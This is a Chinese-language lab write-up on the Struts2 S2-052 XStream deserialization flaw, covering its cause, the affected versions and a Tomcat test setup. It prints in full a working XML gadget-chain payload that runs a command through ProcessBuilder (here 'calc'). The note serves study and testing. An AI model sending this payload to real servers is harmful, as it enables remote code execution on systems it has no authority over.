1. 程式人生 > >struts2-052漏洞學習

struts2-052漏洞學習

一、      1.strust2

Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與檢視的資料互動

2.strust2-052漏洞

Struts2 REST外掛的XStream元件存在反序列化漏洞,使用XStream元件對XML格式的資料包進行反序列化操作時,未對資料內容進行有效驗證,存在安全隱患,可被遠端攻擊

二、      1.struts2-052漏洞產生的原因

XStream元件對XML格式的資料包進行反序列化操作時,未對資料內容進行有效驗證

2.存在這個漏洞的會導致的後果

REST外掛在解析請求中的xml檔案時,呼叫了XStreamHandler,傳入的資料會被預設進行反序列化,如果當傳入的xml是個經過XStream序列化的惡意物件時,便造成反序列化漏洞

三、      漏洞的重現和利用

1.   在Windows中進行實驗

Java以前就配置好了,步驟是安裝javajdk,再配置JAVA_HOME CLASS_PATH   PATH的路徑

2.   下載tomcat並配置

下載tomcat伺服器,解壓放在G盤下,新增三個環境變數CATALINA_HOME  CATALINA_BASE  PATH路徑,在cmd中啟動startup,我在配置PATH路徑的時候把之前的path路徑沖掉了,又重新添加了會來

3.   下載存在漏洞版本的struts2其中Version2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33都存在漏洞,我下載的是2.5.12版本的,將struts2放置在tomcat訪問的根目錄下,訪問成功如下圖

4.   攻擊payload是在網站上查到的

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<valueclass="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSourceclass="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipherclass="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIteratorclass="javax.imageio.spi.FilterIterator">

<iterclass="javax.imageio.spi.FilterIterator">

<iterclass="java.util.Collections$EmptyIterator"/>

<nextclass="java.lang.ProcessBuilder">

<command>

<string>calc</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filterclass="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<nextclass="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<inputclass="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer></ibuffer>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>

</entry><entry>

<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

5.   在burpsuite中配置瀏覽器的代理地址和埠進行攔截瀏覽器的服務請求

6.   如果網站中存在這樣的漏洞,攻擊者可以將實現相應功能的payload放在xml的資訊體中直接上傳,而且網站對該資訊不進行檢查,所以攻擊者有很大自由去攻擊目標主機

四、      nvt是openvas的漏洞資料庫,

每一個掃描的外掛掃描的埠是固定的,當掃描任務中要掃描哪些埠就用這些埠匹配的外掛去掃描,所以是掃描漏洞的執行者

僅實驗 謹實驗